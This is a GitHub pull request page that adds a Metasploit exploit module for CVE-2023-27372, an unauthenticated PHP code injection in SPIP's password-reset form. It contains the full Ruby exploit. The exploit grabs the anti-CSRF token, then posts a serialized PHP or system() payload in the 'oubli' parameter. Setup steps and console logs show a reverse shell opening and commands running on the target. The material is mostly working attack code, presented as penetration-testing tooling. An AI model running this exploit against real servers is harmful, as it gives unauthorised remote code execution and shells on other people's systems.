Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Add a module for the latest SPIP vuln #17711

Merged
merged 1 commit into from
Apr 17, 2023
Merged
Show file tree
Hide file tree
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
190 changes: 190 additions & 0 deletions documentation/modules/exploit/unix/webapp/spip_rce_form.md
Original file line number Diff line number Diff line change
@@ -0,0 +1,190 @@
## Vulnerable Application

This module exploits a PHP code injection in SPIP. The vulnerability exists in
the `oubli` parameter and allows an unauthenticated user to execute arbitrary
commands with web user privileges. Branches 3.2, 4.0, 4.1 and 4.2 are
concerned. Vulnerable versions are <3.2.18, <4.0.10, <4.1.18 and <4.2.1.

The module's `check` method attempts to obtain the SPIP version via a simple HTTP GET request to `/spip.php`
page and fingerprints it either via the `generator` meta tag, or by the
`Composed-By` header.

This module has been successfully tested against SPIP version 4.0.0.

jvoisin marked this conversation as resolved.
Show resolved Hide resolved
## Setup

On Ubuntu 20.04, download a vulnerable instance of SPIP:

```
wget https://files.spip.net/spip/archives/spip-v4.2.0.zip
```

Unzip it to a specific folder:

```
mkdir spip-site
cp spip-v4.2.0.zip spip-site/
cd spip-site /
unzip spip-v4.2.0.zip
```

Install php and the necessary extensions:

```
sudo apt install -y php-xml php-zip php-sqlite3
```

Serve the application (while in the newly created spip-site directory):

```
php -S 127.0.0.1:8000
```

Navigate to the following URL, select `sqlite` for the database, and complete the installation:

```
http://127.0.0.1:8000/ecrire/
```

## Verification Steps

1. Start msfconsole
2. Do: `use exploit/unix/webapp/spip_rce_form`
3. Do: `set RHOSTS [IP]`
4. Do: `set LHOST [IP]`
5. Do: `exploit`

## Options
### TARGETURI
The base path to PIP. The default value is `/`.

## Targets

### 0 (Linux Dropper)

This uses a Linux dropper to execute code.

### 1 (Unix Command)

This executes a Unix command.

## Scenarios
jvoisin marked this conversation as resolved.
Show resolved Hide resolved
### SPIP 4.0.0 - Linux target - PHP In-Memory
```

Module options (exploit/unix/webapp/spip_rce_form):

Name Current Setting Required Description
---- --------------- -------- -----------
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
RHOSTS 127.0.0.1 yes The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
RPORT 8080 yes The target port (TCP)
SSL false no Negotiate SSL/TLS for outgoing connections
TARGETURI / yes The base path to SPIP application
VHOST no HTTP server virtual host


Payload options (php/exec):

Name Current Setting Required Description
---- --------------- -------- -----------
CMD touch /tmp/pwned.txt yes The command string to execute


Exploit target:

Id Name
-- ----
=> 0 Automatic (PHP In-Memory)



View the full module info with the info, or info -d command.

msf6 exploit(unix/webapp/spip_rce_form) > run

[*] Running automatic check ("set AutoCheck false" to disable)
[*] SPIP Version detected: 4.0.0
[+] The target appears to be vulnerable.
[*] Got anti-csrf token: fDBVRjMENBhztAcYFvRr+49sl+fSbkKWDtcOmHtIo0Ta5iJ1MNTCax9uYvLZYlhtD77tZ0TcgnhyRwE=
[*] 127.0.0.1:8080 - Attempting to exploit...
[*] Exploit completed, but no session was created.

-rw-rw-rw- 1 jvoisin jvoisin 0 Feb 28 20:45 /tmp/pwned.txt
msf6 exploit(unix/webapp/spip_rce_form) >
```

### SPIP 4.0.0 - Linux target - UNIX In-Memory

```
msf6 exploit(unix/webapp/spip_rce_form) > options

Module options (exploit/unix/webapp/spip_rce_form):

Name Current Setting Required Description
---- --------------- -------- -----------
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
RHOSTS 127.0.0.1 yes The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
RPORT 8080 yes The target port (TCP)
SSL false no Negotiate SSL/TLS for outgoing connections
SSLCert no Path to a custom SSL certificate (default is randomly generated)
TARGETURI / yes The base path to SPIP application
URIPATH no The URI to use for this exploit (default is random)
VHOST no HTTP server virtual host


When CMDSTAGER::FLAVOR is one of auto,tftp,wget,curl,fetch,lwprequest,psh_invokewebrequest,ftp_http:

Name Current Setting Required Description
---- --------------- -------- -----------
SRVHOST 0.0.0.0 yes The local host or network interface to listen on. This must be an address on the local machine or 0.0.0.0 to listen on all addresses.
SRVPORT 8080 yes The local port to listen on.


Payload options (cmd/unix/reverse_openssl):

Name Current Setting Required Description
---- --------------- -------- -----------
LHOST localhost yes The listen address (an interface may be specified)
LPORT 4444 yes The listen port


Exploit target:

Id Name
-- ----
1 Automatic (Unix In-Memory)


View the full module info with the info, or info -d command.

msf6 exploit(unix/webapp/spip_rce_form) > set payload cmd/unix/reverse_openssl
payload => cmd/unix/reverse_openssl
msf6 exploit(unix/webapp/spip_rce_form) > run

[!] You are binding to a loopback address by setting LHOST to ::1. Did you want ReverseListenerBindAddress?
[*] Started reverse double SSL handler on ::1:4444
[*] Running automatic check ("set AutoCheck false" to disable)
[*] SPIP Version detected: 4.0.0
[+] The target appears to be vulnerable.
[*] Got anti-csrf token: fDBVRjMENBhztAcYFvRr+49sl+fSbkKWDtcOmHtIo0Ta5iJ1MNTCax9uYvLZYlhtD77tZ0TcgnhyRwE=
[*] 127.0.0.1:8080 - Attempting to exploit...
[*] Accepted the first client connection...
[*] Accepted the second client connection...
[*] Command: echo v5zOS2N6c977VY0X;
[*] Writing to socket A
[*] Writing to socket B
[*] Reading from sockets...
[*] Reading from socket A
[*] A: "v5zOS2N6c977VY0X\n"
[*] Matching...
[*] B is input...
[*] Command shell session 2 opened (::1:4444 -> ::1:38048) at 2023-04-10 21:30:25 +0200
^Z
Background session 1? [y/N] y
msf6 exploit(unix/webapp/spip_rce_form) > sessions -i 2 -c whoami
[*] Running 'whoami' on shell session 2 (127.0.0.1)
jvoisin

msf6 exploit(unix/webapp/spip_rce_form) >
```
164 changes: 164 additions & 0 deletions modules/exploits/unix/webapp/spip_rce_form.rb
Original file line number Diff line number Diff line change
@@ -0,0 +1,164 @@
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking

include Msf::Exploit::CmdStager
include Msf::Exploit::Remote::HttpClient
jvoisin marked this conversation as resolved.
Show resolved Hide resolved
prepend Msf::Exploit::Remote::AutoCheck

def initialize(info = {})
super(
update_info(
info,
'Name' => 'SPIP form PHP Injection',
'Description' => %q{
This module exploits a PHP code injection in SPIP. The vulnerability exists in the
oubli parameter and allows an unauthenticated user to execute arbitrary commands
with web user privileges. Branches 3.2, 4.0, 4.1 and 4.2 are concerned. Vulnerable versions
are <3.2.18, <4.0.10, <4.1.18 and <4.2.1.
},
'Author' => [
'coiffeur', # Initial discovery
'Laluka', # PoC
'Julien Voisin' # MSF module
],
'License' => MSF_LICENSE,
'References' => [
jvoisin marked this conversation as resolved.
Show resolved Hide resolved
[ 'URL', 'https://blog.spip.net/Mise-a-jour-critique-de-securite-sortie-de-SPIP-4-2-1-SPIP-4-1-8-SPIP-4-0-10-et.html' ],
[ 'URL', 'https://therealcoiffeur.com/c11010' ],
jvoisin marked this conversation as resolved.
Show resolved Hide resolved
[ 'CVE', '2023-27372' ],
],
'Privileged' => false,
'Platform' => %w[php linux unix],
'Arch' => [ARCH_PHP, ARCH_CMD],
'Targets' => [
[
'Automatic (PHP In-Memory)',
{
'Platform' => 'php',
'Arch' => ARCH_PHP,
'DefaultOptions' => { 'PAYLOAD' => 'php/meterpreter/reverse_tcp' },
'Type' => :php_memory,
'Payload' => {
'BadChars' => "\x22\x00"
}
}
],
[
'Automatic (Unix In-Memory)',
{
'Platform' => 'unix',
'Arch' => ARCH_CMD,
'DefaultOptions' => { 'PAYLOAD' => 'cmd/unix/reverse' },
'Type' => :unix_memory,
'Payload' => {
'BadChars' => "\x22\x00\x27"
}
}
],
],
'Notes' => {
'Stability' => [ CRASH_SAFE ],
'Reliability' => [ REPEATABLE_SESSION ],
'SideEffects' => [IOC_IN_LOGS]
},
'DefaultTarget' => 0,
'DisclosureDate' => '2023-02-27'
jvoisin marked this conversation as resolved.
Show resolved Hide resolved
)
)

register_options(
[
OptString.new('TARGETURI', [true, 'The base path to SPIP application', '/']),
]
)
end

def check
uri = normalize_uri(target_uri.path, 'spip.php')
res = send_request_cgi({ 'uri' => uri.to_s })

return Exploit::CheckCode::Unknown('Target is unreachable.') unless res
return Exploit::CheckCode::Unknown("Target responded with unexpected HTTP response code: #{res.code}") unless res.code == 200

version_string = res.get_html_document.at('head/meta[@name="generator"]/@content')&.text
return Exploit::CheckCode::Unknown('Unable to find the version string on the page: spip.php') unless version_string =~ /SPIP (.*)/

version = ::Regexp.last_match(1)

if version.nil? && res.headers['Composed-By'] =~ /SPIP (.*) @/
version = ::Regexp.last_match(1)
end

return Exploit::CheckCode::Unknown('Unable to determine the version of SPIP') unless version

print_status("SPIP Version detected: #{version}")

rversion = Rex::Version.new(version)
if rversion >= Rex::Version.new('4.2.0')
if rversion < Rex::Version.new('4.2.1')
return Exploit::CheckCode::Appears
end
elsif rversion >= Rex::Version.new('4.1.0')
if rversion < Rex::Version.new('4.1.18')
return Exploit::CheckCode::Appears
end
elsif rversion >= Rex::Version.new('4.0.0')
if rversion < Rex::Version.new('4.0.10')
return Exploit::CheckCode::Appears
end
elsif rversion >= Rex::Version.new('3.2.0')
if rversion < Rex::Version.new('3.2.18')
return Exploit::CheckCode::Appears
end
end

return Exploit::CheckCode::Safe
end

def execute_command(cmd, args = {})
send_request_cgi(
{
'uri' => args['uri'],
'method' => 'POST',
'vars_post' => {
'page' => 'spip_pass',
'lang' => 'fr',
'formulaire_action' => 'oubli',
'formulaire_action_args' => args['csrf'],
'oubli' => cmd
}
}
)
end

def exploit
uri = normalize_uri(target_uri.path, 'spip.php?page=spip_pass&lang=fr')
res = send_request_cgi({ 'uri' => uri })

fail_with(Msf::Exploit::Failure::Unreachable, "The request to uri: #{uri} did not respond") unless res
fail_with(Msf::Exploit::Failure::UnexpectedReply, "Got an http code that isn't 200: #{res.code}, when sending a request to uri: #{uri}") unless res&.code == 200

csrf = ''
unless (node = res.get_html_document.xpath('//form//input[@name="formulaire_action_args"]')).empty?
csrf = node.first['value']
end

print_status("Got anti-csrf token: #{csrf}")

print_status("#{rhost}:#{rport} - Attempting to exploit...")

oubli = ''
case target['Type']
when :php_memory
oubli = "s:#{payload.encoded.length + 6 + 2}:\"<?php #{payload.encoded}?>\";"
when :unix_memory
oubli = "s:#{payload.encoded.length + 14 + 4}:\"<?php system('#{payload.encoded}')?>\";"
end
execute_command(oubli, { 'uri' => uri, 'csrf' => csrf })
end
end